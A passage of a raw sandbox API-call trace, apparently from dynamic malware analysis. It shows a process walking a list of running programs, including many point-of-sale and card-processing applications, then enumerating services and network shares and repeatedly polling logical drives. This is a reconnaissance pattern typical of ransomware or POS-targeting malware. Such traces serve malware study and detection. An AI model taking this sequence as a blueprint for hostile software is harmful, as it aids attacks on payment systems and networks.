lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0178.455] lstrlenW (lpString="skype.exe") returned 9 [0178.455] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0178.456] lstrlenW (lpString="smartftp.exe") returned 12 [0178.456] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0178.456] lstrlenW (lpString="thunderbird.exe") returned 15 [0178.457] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0178.457] lstrlenW (lpString="totalcmd.exe") returned 12 [0178.457] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0178.458] lstrlenW (lpString="trillian.exe") returned 12 [0178.458] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0178.458] lstrlenW (lpString="webdrive.exe") returned 12 [0178.458] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0178.459] lstrlenW (lpString="whatsapp.exe") returned 12 [0178.459] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0178.460] lstrlenW (lpString="winscp.exe") returned 10 [0178.460] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0178.460] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0178.460] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0178.461] lstrlenW (lpString="active-charge.exe") returned 17 [0178.461] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0178.461] lstrlenW (lpString="accupos.exe") returned 11 [0178.462] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0178.462] lstrlenW (lpString="afr38.exe") returned 9 [0178.462] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0178.463] lstrlenW (lpString="aldelo.exe") returned 10 [0178.463] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0178.463] lstrlenW (lpString="ccv_server.exe") returned 14 [0178.463] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0178.464] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0178.464] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0178.465] lstrlenW (lpString="creditservice.exe") returned 17 [0178.465] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0178.465] lstrlenW (lpString="edcsvr.exe") returned 10 [0178.465] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0178.466] lstrlenW (lpString="fpos.exe") returned 8 [0178.466] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0178.466] lstrlenW (lpString="isspos.exe") returned 10 [0178.466] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0178.467] lstrlenW (lpString="mxslipstream.exe") returned 16 [0178.467] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0178.467] lstrlenW (lpString="omnipos.exe") returned 11 [0178.468] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0178.468] lstrlenW (lpString="spcwin.exe") returned 10 [0178.468] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0178.469] lstrlenW (lpString="spgagentservice.exe") returned 19 [0178.469] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0178.469] lstrlenW (lpString="utg2.exe") returned 8 [0178.469] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0178.470] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0178.470] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0178.470] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0178.470] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.471] lstrlenW (lpString="svchost.exe") returned 11 [0178.471] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0178.471] lstrlenW (lpString="taskhostw.exe") returned 13 [0178.471] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0178.472] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0178.472] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0178.472] lstrlenW (lpString="conhost.exe") returned 11 [0178.473] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0178.473] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0178.473] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0178.474] lstrlenW (lpString="conhost.exe") returned 11 [0178.474] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0178.474] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0178.474] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0178.475] lstrlenW (lpString="powershell.exe") returned 14 [0178.475] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0178.475] lstrlenW (lpString="conhost.exe") returned 11 [0178.475] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0178.476] lstrlenW (lpString="TiWorker.exe") returned 12 [0178.476] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0178.476] lstrlenW (lpString="sppsvc.exe") returned 10 [0178.476] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0178.477] lstrlenW (lpString="powershell.exe") returned 14 [0178.477] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0178.477] lstrlenW (lpString="conhost.exe") returned 11 [0178.477] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0178.478] lstrlenW (lpString="taskhostw.exe") returned 13 [0178.478] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0178.478] lstrlenW (lpString="NS2.exe") returned 7 [0178.478] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0178.479] lstrlenW (lpString="conhost.exe") returned 11 [0178.479] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0178.479] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0178.479] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0178.480] lstrlenW (lpString="dllhost.exe") returned 11 [0178.480] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=24, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0178.480] lstrlenW (lpString="winhost.exe") returned 11 [0178.480] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0178.481] lstrlenW (lpString="cmd.exe") returned 7 [0178.481] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0178.481] lstrlenW (lpString="conhost.exe") returned 11 [0178.481] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0178.481] lstrlenW (lpString="mode.com") returned 8 [0178.482] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0178.482] CloseHandle (hObject=0x2fc) returned 1 [0178.482] Sleep (dwMilliseconds=0x1f4) [0178.998] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eefb8 [0178.999] EnumServicesStatusExW (in: hSCManager=0x6eefb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0178.999] GetLastError () returned 0xea [0178.999] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x37d19a0 [0178.999] EnumServicesStatusExW (in: hSCManager=0x6eefb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37d19a0, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37d19a0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0179.001] CloseServiceHandle (hSCObject=0x6eefb8) Thread: id = 278 os_tid = 0x12b4 [0146.889] WaitForSingleObject (hHandle=0x19fddc, dwMilliseconds=0xffffffff) returned 0xffffffff [0146.889] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f44e8 | out: hHeap=0x6b0000) returned 1 Thread: id = 279 os_tid = 0xf2c [0146.893] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x717050 [0146.893] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x717050, Size=0x20) returned 0x6eeb80 [0146.893] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6eeb80, Size=0x40) returned 0x6c7c40 [0146.893] GetLogicalDrives () returned 0x4 [0146.893] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x74e988 [0146.918] GetComputerNameW (in: lpBuffer=0x74e98c, nSize=0x270ff64 | out: lpBuffer="NQDPDE", nSize=0x270ff64) returned 1 [0146.918] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1000) returned 0x75e990 [0146.918] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x270ff34 | out: lphEnum=0x270ff34*=0x6c5780) returned 0x0 [0146.924] WNetEnumResourceW (in: hEnum=0x6c5780, lpcCount=0x270ff30, lpBuffer=0x75e990, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x75e990, lpBufferSize=0x270ff38) returned 0x103 [0146.924] WNetCloseEnum (hEnum=0x6c5780) returned 0x0 [0146.924] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x270ff34 | out: lphEnum=0x270ff34*=0x6cb2d8) returned 0x0 [0147.848] WNetEnumResourceW (in: hEnum=0x6cb2d8, lpcCount=0x270ff30, lpBuffer=0x75e990, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x75e990, lpBufferSize=0x270ff38) returned 0x0 [0147.848] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1000) returned 0x3780998 [0147.848] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x75e990, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x6c5a20) returned 0x0 [0147.850] WNetEnumResourceW (in: hEnum=0x6c5a20, lpcCount=0x270ff04, lpBuffer=0x3780998, lpBufferSize=0x270ff0c | out: lpcCount=0x270ff04, lpBuffer=0x3780998, lpBufferSize=0x270ff0c) returned 0x103 [0147.850] WNetCloseEnum (hEnum=0x6c5a20) returned 0x0 [0147.850] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1000) returned 0x37889d8 [0147.850] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x75e9b0, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x0) returned 0x4b8 [0163.464] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1000) returned 0x3df9058 [0163.464] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x75e9d0, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x0) returned 0x4c6 [0163.465] WNetEnumResourceW (in: hEnum=0x6cb2d8, lpcCount=0x270ff30, lpBuffer=0x75e990, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x75e990, lpBufferSize=0x270ff38) returned 0x103 [0163.465] WNetCloseEnum (hEnum=0x6cb2d8) returned 0x0 [0163.465] GetLogicalDrives () returned 0x4 [0163.465] Sleep (dwMilliseconds=0x64) [0163.947] GetLogicalDrives () returned 0x4 [0163.947] Sleep (dwMilliseconds=0x64) [0164.469] GetLogicalDrives () returned 0x4 [0164.469] Sleep (dwMilliseconds=0x64) [0164.980] GetLogicalDrives () returned 0x4 [0164.985] Sleep (dwMilliseconds=0x64) [0165.344] GetLogicalDrives () returned 0x4 [0165.344] Sleep (dwMilliseconds=0x64) [0165.457] GetLogicalDrives () returned 0x4 [0165.457] Sleep (dwMilliseconds=0x64) [0165.563] GetLogicalDrives () returned 0x4 [0165.563] Sleep (dwMilliseconds=0x64) [0165.671] GetLogicalDrives () returned 0x4 [0165.672] Sleep (dwMilliseconds=0x64) [0165.786] GetLogicalDrives () returned 0x4 [0165.786] Sleep (dwMilliseconds=0x64) [0165.893] GetLogicalDrives () returned 0x4 [0165.893] Sleep (dwMilliseconds=0x64) [0166.016] GetLogicalDrives () returned 0x4 [0166.016] Sleep (dwMilliseconds=0x64) [0166.125] GetLogicalDrives () returned 0x4 [0166.125] Sleep (dwMilliseconds=0x64) [0166.232] GetLogicalDrives () returned 0x4 [0166.232] Sleep (dwMilliseconds=0x64) [0166.343] GetLogicalDrives () returned 0x4 [0166.343] Sleep (dwMilliseconds=0x64) [0166.474] GetLogicalDrives () returned 0x4 [0166.474] Sleep (dwMilliseconds=0x64) [0166.615] GetLogicalDrives () returned 0x4 [0166.615] Sleep (dwMilliseconds=0x64) [0166.717] GetLogicalDrives () returned 0x4 [0166.717] Sleep (dwMilliseconds=0x64) [0166.839] GetLogicalDrives () returned 0x4 [0166.840] Sleep (dwMilliseconds=0x64) [0166.953] GetLogicalDrives () returned 0x4 [0166.953] Sleep (dwMilliseconds=0x64) [0167.062] GetLogicalDrives () returned 0x4 [0167.062] Sleep (dwMilliseconds=0x64) [0167.171] GetLogicalDrives () returned 0x4 [0167.171] Sleep (dwMilliseconds=0x64) [0167.282] GetLogicalDrives () returned 0x4 [0167.282] Sleep (dwMilliseconds=0x64) [0167.392] GetLogicalDrives () returned 0x4 [0167.392] Sleep (dwMilliseconds=0x64) [0167.500] GetLogicalDrives () returned 0x4 [0167.500] Sleep (dwMilliseconds=0x64) [0167.609] GetLogicalDrives () returned 0x4 [0167.609] Sleep (dwMilliseconds=0x64) [0167.720] GetLogicalDrives () returned 0x4 [0167.720] Sleep (dwMilliseconds=0x64) [0167.828] GetLogicalDrives () returned 0x4 [0167.828] Sleep (dwMilliseconds=0x64) [0167.935] GetLogicalDrives () returned 0x4 [0167.935] Sleep (dwMilliseconds=0x64) [0168.046] GetLogicalDrives () returned 0x4 [0168.046] Sleep (dwMilliseconds=0x64) [0168.154] GetLogicalDrives () returned 0x4 [0168.154] Sleep (dwMilliseconds=0x64) [0168.265] GetLogicalDrives () returned 0x4 [0168.265] Sleep (dwMilliseconds=0x64) [0168.388] GetLogicalDrives () returned 0x4 [0168.389] Sleep (dwMilliseconds=0x64) [0168.499] GetLogicalDrives () returned 0x4 [0168.499] Sleep (dwMilliseconds=0x64) [0168.609] GetLogicalDrives () returned 0x4 [0168.609] Sleep (dwMilliseconds=0x64) [0168.719] GetLogicalDrives () returned 0x4 [0168.719] Sleep (dwMilliseconds=0x64) [0168.828] GetLogicalDrives () returned 0x4 [0168.828] Sleep (dwMilliseconds=0x64) [0168.940] GetLogicalDrives () returned 0x4 [0168.940] Sleep (dwMilliseconds=0x64) [0169.045] GetLogicalDrives () returned 0x4 [0169.045] Sleep (dwMilliseconds=0x64) [0169.155] GetLogicalDrives () returned 0x4 [0169.155] Sleep (dwMilliseconds=0x64) [0169.269] GetLogicalDrives () returned 0x4 [0169.269] Sleep (dwMilliseconds=0x64) [0169.388] GetLogicalDrives () returned 0x4 [0169.389] Sleep (dwMilliseconds=0x64) [0169.503] GetLogicalDrives () returned 0x4 [0169.503] Sleep (dwMilliseconds=0x64) [0169.609] GetLogicalDrives () returned 0x4 [0169.609] Sleep (dwMilliseconds=0x64) [0169.718] 